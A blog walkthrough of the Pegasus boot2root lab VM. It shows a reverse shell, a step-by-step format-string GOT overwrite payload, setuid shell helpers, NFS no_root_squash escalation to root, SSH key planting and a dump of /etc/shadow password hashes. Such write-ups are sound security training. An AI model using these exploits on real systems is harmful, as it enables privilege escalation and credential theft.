Pegasus Walkthrough – A Magnificent Horse, With the Brain of a Bird

The next walkthrough I decided to do was Pegasus by Knapsy. This was a slightly newer, and possibly more difficult, boot2root.

First things first, netdiscover to get the IP of the vulnerable box.

root@kali:~# netdiscover -i eth0 -r 172.16.119.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts
                                                                              
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180
 ________________________________________________________________
    IP            At MAC Address      Count  Len   MAC Vendor    
 ----------------------------------------------------------------
 172.16.119.1    00:50:56:c0:00:01    01    060   VMWare, Inc.   
 172.16.119.129  00:0c:29:a6:07:a7    01    060   VMware, Inc.  
 172.16.119.254  00:50:56:ff:a3:23    01    060   VMWare, Inc.   

With the IP, I started up Nmap to see what sort of attack surface I was working with.

root@kali:~# nmap -sT -sV -O 172.16.119.129

Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-14 01:51 EDT
Nmap scan report for 172.16.119.129
Host is up (0.00032s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
111/tcp  open  rpcbind 2-4 (RPC #100000)
8088/tcp open  http    nginx 1.1.19
MAC Address: 00:0C:29:A6:07:A7 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.03 seconds

I figured HTTP would be my best bet, so I pulled up the home page only to be greeted by a picture of the mythical beast.

Dirbuster did manage to pickup a codereview.php and a submit.php (presumably used by the code review page) page though, so all was not lost.

The code review page appeared to be some sort of manual or automated code review solution that just passed whatever I put in to submit.php with little feedback.

After trying a bunch of various languages and backdoors/command execution, I finally got the code review to give me a different response when I tried to have it execute a system("id");

Figuring that this was indeed an automated code "tester", I found some C shellcode that didn't use a system() call, and managed to successfully connect to the box (and add my key as an authorized key for a fully interactive terminal).

root@kali:~# nc 172.16.119.129 4444
id
uid=1001(mike) gid=1001(mike) groups=1001(mike)

cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdubHNkqPbAwD0ikkAKCWcEmxDNokB4gYle0ioj/NC/PA6wQjHRFOA32H/xGS1aGuTv3+xe9d7F4m6QuhZytNJ6QeVchqnf6zqg+0XlRyNxA3SUVxl2j+8fMgHeA92QqfWoIcknH/CaEWo5ZQTrSL4+A0hX2c7xMy2RyU4LEYxY3pEy9LayHmaqjHd3CKaeiDDDyEhSuGNPn1xPAOLB4h4idk88Ih50tu6rbl0hk/rEUCFYTTsWNtVy1u+uGAqimHv0xsYKQux1JLkymKYERXwTxSmNjK0Bx/d5IrI4oh4iUfnxqsvwcG6Sb6sKFwlhYypNgRr6zU3eZMltsSlc10j root@kali

root@kali:~# ssh -i .ssh/id_rsa mike@172.16.119.129
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-39-generic i686)

* Documentation:  https://help.ubuntu.com/

  System information as of Fri May  8 23:50:05 AEST 2015

  System load:  0.02               Processes:           92
  Usage of /:   12.5% of 18.32GB   Users logged in:     0
  Memory usage: 13%                IP address for eth0: 172.16.119.129
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/


Your Hardware Enablement Stack (HWE) is supported until April 2017.

You have mail.
Last login: Wed July 15 20:48:24 2015 from 172.16.119.128
mike@pegasus:~$

First up was to check mike's mail, since there was a mention of it as soon as I logged in as him.

mike@pegasus:~$ cat /var/mail/mike
From john@pegasus  Tue Nov 18 17:49:37 2014
Return-Path: 
X-Original-To: mike@pegasus
Delivered-To: mike@pegasus
Received: by pegasus (Postfix, from userid 1000)
     id C44858098C; Tue, 18 Nov 2014 17:49:37 +1100 (EST)
Date: Tue, 18 Nov 2014 17:49:37 +1100
From: John Wall 
To: mike@pegasus
Subject: Code for review
Message-ID: <20141118064937.GA3880@pegasus>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Status: RO
Content-Length: 327
Lines: 8

Hi Mike,

I've crafted something simple in C, treating it as a refresher course for myself (it's been YEARS since I last coded something up) - would you mind reviewing it for me?

I've put the binary in your home directory for convenience. You can also find the source code under our local git repo: my_first.git

Thanks!
John

There wasn't much inside of mike's home directory when I checked, so I cloned the git directory referenced in the e-mail and decided to check that out.

mike@pegasus:~$ ls -al
total 52
drwxr-x--- 6 mike mike 4096 May  8 23:51 .
drwxr-xr-x 5 root root 4096 Nov 18 12:36 ..
-rw------- 1 mike mike    0 Apr 22 21:18 .bash_history
-rw-r--r-- 1 mike mike  220 Nov 18 12:28 .bash_logout
-rw-r--r-- 1 mike mike 3501 Nov 19 02:01 .bashrc
drwx------ 2 mike mike 4096 Nov 18 12:31 .cache
-rwxr-xr-x 1 mike mike  845 Nov 18 20:52 check_code.sh
drwx------ 2 mike mike 4096 Nov 18 17:49 Mail
-rwsr-xr-x 1 john john 6606 Nov 28 10:26 my_first
-rw-r--r-- 1 mike mike  675 Nov 18 12:28 .profile
drwx------ 2 mike mike 4096 Apr 22 20:42 .ssh
drwxr-xr-x 3 mike mike 4096 May  8 23:51 tests
-rw------- 1 mike mike  918 Apr 22 20:50 .viminfo
mike@pegasus:~$ git clone /opt/git/my_first.git/ tests
Cloning into 'tests'...
done.

mike@pegasus:~$ cd tests

Inside of the git repository was a main.c file that looked like it might be vulnerable to some sort of overflow/exploit.

#include 
#include 

int calculator();
int string_replay();
int string_reverse();
int quit();

int main()
{
    char selection[3];
    int sel;
    char * err_check;

    printf("WELCOME TO MY FIRST TEST PROGRAM\n");
    printf("--------------------------------\n");
    printf("Select your tool:\n");
    printf("[1] Calculator\n");
    printf("[2] String replay\n");
    printf("[3] String reverse\n");
    printf("[4] Exit\n\n");
   
    do
    {
        printf("Selection: ");
        if (fgets(selection, sizeof selection, stdin) != NULL)
        {
            sel = strtol(selection, &err_check, 10);
            switch (sel)
            {
                case 1:
                {
                    calculator();
                    break;
                }
                case 2:
                {
                    string_replay();
                    break;
                }
                case 3:
                {
                    string_reverse();
                    break;
                }
                case 4:
                {
                    quit();
                    break;
                }
                default:
                {
                    printf("\nError: Incorrect selection!\n\n");
                }
            }
        }
        else
        {
            printf("\nBye!\n");
            break;
        }
    }
    while (sel != 4);
}

int calculator()
{
    char numberA[30];
    char numberB[30];
    char * err_check;
    printf("\nEnter first number: ");
    if (fgets(numberA, sizeof numberA, stdin) != NULL)
    {
        int numA = strtol(numberA, &err_check, 10);
        if (*err_check != '\n')
        {
             printf("Error details: %s", err_check);
         printf("\n");
         return 1;
        }
       
        printf("Enter second number: ");
        if (fgets(numberB, sizeof numberB, stdin) != NULL)
        {
            int numB = strtol(numberB, &err_check, 10);
            if (*err_check != '\n')
            {
                printf("Error details: %s", err_check);
                printf("\n");
                return 1;
            }

         int sum = numA + numB;
         printf("Result: %i + %i = %i\n\n", numA, numB, sum);
         return 0;
        }
        else
        {
            printf("\nBye!\n");
            return 1;
        }
    }
    else
    {
        printf("\nBye!\n");
        return 1;
    }
}

int string_replay()
{
    char input[100];
    printf("\nEnter a string: ");
    if (fgets(input, sizeof input, stdin) != NULL)
    {
        printf("You entered: %s\n", input);
    }
    else
    {
        printf("\nBye!\n");
        return 1;
    }
    return 0;
}

int string_reverse()
{
    //TODO
    printf("\nError: Not yet implemented!\n\n");
    return 1;
}

int quit()
{
    printf("\nGoodbye!\n");
    return 0;
}

The my_first application inside of mike's home directory (that was actually suid for john/john) appeared to be the same application, so that was a good start.

mike@pegasus:~$ ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 1

Enter first number: 1
Enter second number: 2
Result: 1 + 2 = 3

Selection: 4

Goodbye!

After a lot of testing and various inputs, I found that the calculator tool in the application was more than likely vulnerable to a format string exploit.

mike@pegasus:~$ ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 1

Enter first number: %x
Enter second number: %x
Error details: bfed1b3c

Selection: 4

Goodbye!

While I'll do my best to explain format string vulnerabilities and my process, I want to first interject with some great resources on the subject.

Fuzzy Security Format String Exploitation - Part 1
Fuzzy Security Format String Exploitation - Part 2
zer0w1re on format string vulnerabilities (including this specific one)

So, the first thing I checked out was where the error was coming from, and how far into it I had control.

mike@pegasus:~$ ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 1

Enter first number: AAAABBBB-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x
Enter second number: CCCCDDDD-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x
Error details: CCCCDDDD-bfc46d4c-a-4005e160-401d0ac0-40020ff4-40021918-bfc46d50-43434343-44444444-2d78252d

I then verified that it was indeed the 8th and 9th variables that I had control of inside of the second number section.

mike@pegasus:~$ ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 1

Enter first number: 1
Enter second number: AAAABBBB-%8$x-%9$x
Error details: AAAABBBB-41414141-42424242

Before I continued any further, I verified that ASLR was indeed enabled and then subsequently disabled it.

mike@pegasus:~$ cat /proc/sys/kernel/randomize_va_space
2
mike@pegasus:~$ ldd my_first 
     linux-gate.so.1 =>  (0xb778e000)
     libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75dd000)
     /lib/ld-linux.so.2 (0xb778f000)
mike@pegasus:~$ ldd my_first 
     linux-gate.so.1 =>  (0xb778f000)
     libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75de000)
     /lib/ld-linux.so.2 (0xb7790000)
mike@pegasus:~$ ldd my_first 
     linux-gate.so.1 =>  (0xb7727000)
     libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7576000)
     /lib/ld-linux.so.2 (0xb7728000)
mike@pegasus:~$ ulimit -s unlimited

With ASLR disabled, I grabbed the address of printf from my_first so that I would know what I had to overwrite. My goal for this was to overwrite the address of printf() with the address of system() so that I could execute arbitrary commands.

mike@pegasus:~$ objdump -R my_first

my_first:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049bec R_386_GLOB_DAT    __gmon_start__
08049c20 R_386_COPY        stdin
08049bfc R_386_JUMP_SLOT   printf
08049c00 R_386_JUMP_SLOT   fgets
08049c04 R_386_JUMP_SLOT   puts
08049c08 R_386_JUMP_SLOT   __gmon_start__
08049c0c R_386_JUMP_SLOT   __libc_start_main
08049c10 R_386_JUMP_SLOT   putchar
08049c14 R_386_JUMP_SLOT   strtol

Next I had to get the address of system(), which was fairly trivial using gdb.

mike@pegasus:~$ gdb -q my_first
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x804850f
(gdb) r
Starting program: /home/mike/my_first

Breakpoint 1, 0x0804850f in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40069060 
(gdb) q
A debugging session is active.

     Inferior 1 [process 4530] will be killed.

Quit anyway? (y or n) y

With the address of printf (0x08049bfc) and system (0x40069060) in hand, I created a small python script that I could pipe to my_first for easier building and execution of my exploit.

#!/usr/bin/python

payload = ""

payload += "1\n" # selection #1

payload += "1\n" # first number
payload += "1" # second number

print payload
mike@pegasus:~$ ./payload.py | ./my_first 
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection:
Enter first number: Enter second number: Result: 1 + 1 = 2

Selection:
Bye!

After verifying that the basic calculations worked, I also verified that it could output the correct addresses for my overwriting.

#!/usr/bin/python

payload = ""

payload += "1\n" # selection #1

payload += "1\n" # first number
payload += "AAAABBBB-%8$x-%9$x" # second number

print payload
mike@pegasus:~$ ./payload.py | ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection:
Enter first number: Enter second number: Error details: AAAABBBB-41414141-42424242

Selection:
Bye!

With everything in place, it was time to try to overwrite the address of printf() with the address of system(). To do this, I first put the address of printf() into my second number. I was then able to use %n to write the number of bytes so far into the address that I specified.

#!/usr/bin/python

payload = ""

payload += "1\n" # selection #1

payload += "1\n" # first number
payload += "\xfc\x9b\x04\x08%8$n" # second number

print payload

After running this updated script, I was able to see that I indeed overwrote printf, but with 0x00000004 instead of the actual address of system.

mike@pegasus:~$ ./payload.py > in
mike@pegasus:~$ gdb -q ./my_first
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) x/x 0x08049bfc
0x8049bfc <printf@got.plt>:     0x080483b6
(gdb) r < in
Starting program: /home/mike/my_first < in
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection:
Enter first number: Enter second number: Error details: ��


Program received signal SIGSEGV, Segmentation fault.
0x00000004 in ?? ()
(gdb) x/x 0x08049bfc
0x8049bfc <printf@got.plt>:     0x00000004

The 0x4 needed to be updated to the system() address, so I calculated the difference between 0x9060 and 0x0004. The reason I did this two bytes at a time (as opposed to all 4) is because the first half is actually in a slightly different memory location (as will be shown later).

mike@pegasus:~$ python -c 'print 0x9060-0x0004'
36956

To update my script, I added %36956u to my payload. This added the specified unsigned decimal value to what I was already writing to that specified memory address.

#!/usr/bin/python

payload = ""

payload += "1\n" # selection #1

payload += "1\n" # first number
payload += "\xfc\x9b\x04\x08" + "%36956u" + "%8$n" # second number

print payload

I then ran my script again to verify that I was indeed able to write the correct address for the second half of system() to printf().

mike@pegasus:~$ ./payload.py > in
mike@pegasus:~$ gdb -q ./my_first
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) r < in
Starting program: /home/mike/my_first < in
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection:
Enter first number: Enter second number: Error details: ��

< ...snip... >

Program received signal SIGSEGV, Segmentation fault.
0x00009060 in ?? ()

To overwrite the first half of the printf() address, I actually had to adjust my memory location slightly. The memory address I needed to overwrite for the other half of the address was actually 0x08049bfc (as oppoesd to 0x08049bfe). The address ending in 0xfc was actually the upper half of the location for printf(), which was why I had to shift by 2 bytes to account for what was already written. Additionally, I had to add my %9$n to the end to actually be able to overwrite this address.

#!/usr/bin/python

payload = ""

payload += "1\n" # selection #1

payload += "1\n" # first number
payload += "\xfc\x9b\x04\x08" + "\xfe\x9b\x04\x08" + "%36956u%8$n" + "%9$n" # second number

print payload

Then I was able to verify that I had control over both halves of the memory address.

mike@pegasus:~$ ./payload.py > in
mike@pegasus:~$ gdb -q ./my_first
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) r < in
Starting program: /home/mike/my_first < in
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection:
Enter first number: Enter second number: Error details: ����

< ...snip... >

Program received signal SIGSEGV, Segmentation fault.
0x90649064 in ?? ()

Even though I was able to set both halves of the memory address to the proper second half of system(), they were slightly off. The reason for this was the 4 additional bytes added to the beginning increased my value in %n, so I then needed to decrease my %36956u by those 4 bytes as well.

#!/usr/bin/python

payload = ""

payload += "1\n" # selection #1

payload += "1\n" # first number
payload += "\xfc\x9b\x04\x08" + "\xfe\x9b\x04\x08" + "%36952u%8$n" + "%9$n" # second number

print payload

With the payload adjusted slightly, I was then able to get the appropriate value in both halves of the memory address.

mike@pegasus:~$ ./payload.py > in
mike@pegasus:~$ gdb -q ./my_first
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) r < in
Starting program: /home/mike/my_first < in
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection:
Enter first number: Enter second number: Error details: ����

< ...snip... >

Program received signal SIGSEGV, Segmentation fault.
0x90609060 in ?? ()

The only thing left to do was adjust the first half of the address by the proper number of bytes. Initially, I ran into some issues because 0x4006 - 0x9060 was actually a negative number. After a bit of research I found that I could add a 1 into the least significant bit and it would put me into the same memory address.

mike@pegasus:~$ python -c 'print 0x4006-0x9060'
-20570
mike@pegasus:~$ python -c 'print 0x14006-0x9060'
44966

I was then able to add the correct number of bytes to the half of the address I was overwriting with %9$n to my script.

#!/usr/bin/python

payload = ""

payload += "1\n" # selection #1

payload += "1\n" # first number
payload += "\xfc\x9b\x04\x08" + "\xfe\x9b\x04\x08" + "%36952u%8$n" + "%44966u%9$n" # second number

print payload

With everything in place, I verified that I could overwrite printf() with system()! The error occurring actually made a lot of sense, and was expected.

Normally in the program execution flow, the next step would be to print "Selection:" to the console. This allows the user to run the program again or to exit. Since I was able to replace printf() with system(), the program was actually trying to execute system("Selection:"), which of course didn't exist.

mike@pegasus:~$ ./payload.py > in
mike@pegasus:~$ gdb -q ./my_first
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) r < in
Starting program: /home/mike/my_first < in
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection:
Enter first number: Enter second number: Error details: ����

< ...snip... >

sh: 1: Selection:: not found

Program received signal SIGSEGV, Segmentation fault.
0x08c3c903 in ?? ()

The next step was to create a simple executable inside of my path (named "Selection:") that would be executed once this step in the program was reached. Alternatively, I could have just created a symbolic link to /bin/sh named "Selection:", but I didn't think of that at the time.

mike@pegasus:~$ cat suid.c
#include <stdio.h>
int main()
{
    system("cp /bin/sh /tmp/john");
    system("chmod 4777 /tmp/john");
}

mike@pegasus:~$ gcc -o "Selection:" suid.c
mike@pegasus:~$ export PATH=$PATH:/home/mike
mike@pegasus:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/home/mike
mike@pegasus:~$ ./payload.py | ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection:
Enter first number: Enter second number: Error details: ����

< ...snip... >

Segmentation fault (core dumped)
mike@pegasus:~$ ls /tmp
john
mike@pegasus:~$ exec /tmp/john
$ id
uid=1001(mike) gid=1001(mike) euid=1000(john) groups=1000(john),1001(mike)
$ 

Now that I had control over the john account, I copied over my SSH key to have a fully interactive shell.

$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdubHNkqPbAwD0ikkAKCWcEmxDNokB4gYle0ioj/NC/PA6wQjHRFOA32H/xGS1aGuTv3+xe9d7F4m6QuhZytNJ6QeVchqnf6zqg+0XlRyNxA3SUVxl2j+8fMgHeA92QqfWoIcknH/CaEWo5ZQTrSL4+A0hX2c7xMy2RyU4LEYxY3pEy9LayHmaqjHd3CKaeiDDDyEhSuGNPn1xPAOLB4h4idk88Ih50tu6rbl0hk/rEUCFYTTsWNtVy1u+uGAqimHv0xsYKQux1JLkymKYERXwTxSmNjK0Bx/d5IrI4oh4iUfnxqsvwcG6Sb6sKFwlhYypNgRr6zU3eZMltsSlc10j root@kali" > /home/john/.ssh/authorized_keys
$ chmod 600 /home/john/.ssh/authorized_keys
$ exit
Connection to 172.16.119.129 closed.
root@kali:~# ssh -i .ssh/id_rsa john@172.16.119.129
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-39-generic i686)

* Documentation:  https://help.ubuntu.com/

  System information as of Tue May 12 01:06:37 AEST 2015

  System load:  0.01               Processes:           87
  Usage of /:   12.5% of 18.32GB   Users logged in:     0
  Memory usage: 13%                IP address for eth0: 172.16.119.129
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/


Your Hardware Enablement Stack (HWE) is supported until April 2017.

Last login: Sun Nov 23 21:24:39 2014 from 172.16.246.129
john@pegasus:~$

After a bit of enumeration, it seemed that the john user was able to run NFS under sudo, so of course I did that.

john@pegasus:~$ ls -al
total 28
drwxr-x--- 4 john john 4096 Nov 25 04:52 .
drwxr-xr-x 5 root root 4096 Nov 18 12:36 ..
-rw------- 1 john john    0 May 12 01:06 .bash_history
-rw-r--r-- 1 john john  220 Nov 18 12:15 .bash_logout
-rw-r--r-- 1 john john 3501 Nov 19 01:59 .bashrc
drwx------ 2 john john 4096 Nov 18 12:15 .cache
-rw-r--r-- 1 john john  675 Nov 18 12:15 .profile
drwx------ 2 john john 4096 May 11 21:47 .ssh
john@pegasus:~$ cat .bash_history
john@pegasus:~$ sudo -l
Matching Defaults entries for john on this host:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on this host:
    (root) NOPASSWD: /usr/local/sbin/nfs
john@pegasus:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#          to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/opt/nfs     *(rw,sync,crossmnt,no_subtree_check,no_root_squash)
john@pegasus:~$ sudo /usr/local/sbin/nfs start
* Exporting directories for NFS kernel daemon...                         [ OK ]
* Starting NFS kernel daemon                                             [ OK ] 

I hoped exploiting that would be as simple as creating a setuid root binary on my attacker machine, mounting the directory on the vulnerable VM, and executing the application with the same permissions.

root@kali:/mnt# cat suid.c
int main()
{
     system("/bin/sh");
}
root@kali:/mnt# gcc -o suid suid.c -m32
root@kali:/mnt# chmod 4777 suid
root@kali:/mnt# ls -al
total 20
drwxr-xr-x  2 root root 4096 May 11  2015 .
drwxr-xr-x 24 root root 4096 Feb 23 16:55 ..
-rwsrwxrwx  1 root root 7040 May 11  2015 suid
-rw-r--r--  1 root root   71 May 11  2015 suid.c

With my (super complex) exploit in place, it was time to hop back over to the vulnerable machine and try to run it.

root@kali:/mnt# ssh -i /root/.ssh/id_rsa mike@172.16.119.129
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-39-generic i686)

* Documentation:  https://help.ubuntu.com/

  System information as of Tue May 12 01:43:04 AEST 2015

  System load:  0.0                Processes:           103
  Usage of /:   12.5% of 18.32GB   Users logged in:     1
  Memory usage: 15%                IP address for eth0: 172.16.119.129
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/


Your Hardware Enablement Stack (HWE) is supported until April 2017.

You have mail.
Last login: Tue May 12 01:06:19 2015 from 172.16.119.128
mike@pegasus:~$ cd /opt/nfs
mike@pegasus:/opt/nfs$ ls
nfs  suid  suid.c

Upon running my suid binary, I was able to get root and access the flag file!

mike@pegasus:/opt/nfs$ ./suid
# id
uid=1001(mike) gid=1001(mike) euid=0(root) groups=0(root),1001(mike)
# cd /root
# ls -al
total 32
drwx------  3 root root 4096 Dec 16 19:09 .
drwxr-xr-x 22 root root 4096 Nov 19 02:58 ..
-rw-------  1 root root   98 Dec 16 19:12 .bash_history
-rw-r--r--  1 root root 3121 Nov 19 02:01 .bashrc
drwx------  2 root root 4096 Nov 23 21:28 .cache
-rw-------  1 root root 1824 Dec 16 19:09 flag
-rw-r--r--  1 root root  140 Apr 19  2012 .profile
-rw-------  1 root root  777 Dec 16 19:09 .viminfo
# cat flag
               ,
               |`\       
              /'_/_  
            ,'_/\_/\_                       ,  
          ,'_/\'_\_,/_                    ,'|
        ,'_/\_'_ \_ \_/                _,-'_/
      ,'_/'\_'_ \_ \'_,\           _,-'_,-/ \,      Pegasus is one of the
    ,' /_\ _'_ \_ \'_,/       __,-'<_,' _,\_,/      best known creatures
   ( (' )\/(_ \_ \'_,\   __--' _,-_/_,-',_/ _\     in Greek mythology.
    \_`\> 6` 7  \'_,/ ,-' _,-,'\,_'_ \,_/'_,\      He is a winged stallion
     \/-  _/ 7 '/ _,' _/'\_  \,_'_ \_ \'_,/         usually depicted as
      \_'/>   7'_/' _/' \_ '\,_'_ \_ \'_,\          pure white in color.
        >/  _ ,V  ,<  \__ '\,_'_ \_ \'_,/           Symbol of wisdom and
      /'_  ( )_)\/-,',__ '\,_'_,\_,\'_\            fame.             
     ( ) \_ \|_  `\_    \_,/'\,_'_,/'              
      \\_  \_\_)    `\_                            Fun fact: Pegasus was
       \_)   >        `\_                          also a video game
            /  `,      |`\_                         system sold in Poland,
           /    \     / \ `\                        Serbia and Bosnia. It
          /   __/|   /  /  `\                       was a hardware clone
         (`  (   (` (_  \   /                       of the Nintendo
         /  ,/    |  /  /   \                       Famicom.
        / ,/      | /   \   `\_
      _/_/        |/    /__/,_/
     /_(         /_(


CONGRATULATIONS! You made it :)

Hope you enjoyed the challenge as much as I enjoyed creating it and I hope you
learnt a thing or two while doing it! :)

Massive thanks and a big shoutout to @iMulitia for beta-breaking my VM and
providing first review.

Feel free to hit me up on Twitter @TheKnapsy or at #vulnhub channel on freenode
and leave some feedback, I would love to hear from you!

Also, make sure to follow @VulnHub on Twitter and keep checking vulnhub.com for
more awesome boot2root VMs!

This was definitely an enjoyable and challenging VM that kept me learning and on my toes. I would highly recommend it to anyone who would like to learn (or refresh) their format string exploits.

And, of course, I grabbed the shadow file.

# cat /etc/shadow
root:$6$Pz6ShxS8$VHkUdK5CIjARUoOUczKKFqPoK50zSIbzXfLBGLpyG/6UQ8/ndI41AZFONxE2/16kEp2HNtLYwLrXMzm4ZiASI.:16402:0:99999:7:::
daemon:*:16392:0:99999:7:::
bin:*:16392:0:99999:7:::
sys:*:16392:0:99999:7:::
sync:*:16392:0:99999:7:::
games:*:16392:0:99999:7:::
man:*:16392:0:99999:7:::
lp:*:16392:0:99999:7:::
mail:*:16392:0:99999:7:::
news:*:16392:0:99999:7:::
uucp:*:16392:0:99999:7:::
proxy:*:16392:0:99999:7:::
www-data:*:16392:0:99999:7:::
backup:*:16392:0:99999:7:::
list:*:16392:0:99999:7:::
irc:*:16392:0:99999:7:::
gnats:*:16392:0:99999:7:::
nobody:*:16392:0:99999:7:::
libuuid:!:16392:0:99999:7:::
syslog:*:16392:0:99999:7:::
messagebus:*:16392:0:99999:7:::
whoopsie:*:16392:0:99999:7:::
landscape:*:16392:0:99999:7:::
sshd:*:16392:0:99999:7:::
john:$6$Ird1gKSx$m5aYqOeNiUY/AE4iX2Ajm1tUEUrxVC2dWpLid.aPkIBeBMiPY3dhwlnxZd6vfHTt/hMNZ5kvcnNomWlFKrpZb1:16397:0:99999:7:::
statd:*:16392:0:99999:7:::
mike:$6$zh0M1nHz$DDzsAFB279JUeANXAU0r5HxJPsHym6Aof2UypS2ImlnJ1EIQdrCqMXPCCXzCrd50/ZGCzMtw8MToSdK7YUBF1/:16397:0:99999:7:::
git:$6$nXnKhWku$9qpFs0RnqnB0.hrzHyaJsGN/gUyjly4inb8i1J1naGOmOXvCBR4.lzVQf6o3dSOIc7lq1kyndN5KnHDizRqA81:16392:0:99999:7:::
doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration tester for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

6 Comments

Filed under Security Not Included

6 Responses to Pegasus Walkthrough – A Magnificent Horse, With the Brain of a Bird

  1. Alp Tunga

    For “suid.c” you are mentioning #include with no library mentioned. And it gives an error.

  2. Pingback: CTF – Pegasus – fellersec

  3. Dotty

    This was an extremely wonderful post. Thank you for providing this info.

  4. Lauren

    I was curious if you ever considered changing the layout of your site?

    Its very well written; I love what youve
    got to say. But maybe you could a little more in the way of
    content so people could connect with it better.
    Youve got an awful lot of text for only having 1 or 2
    images. Maybe you could space it out better?

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.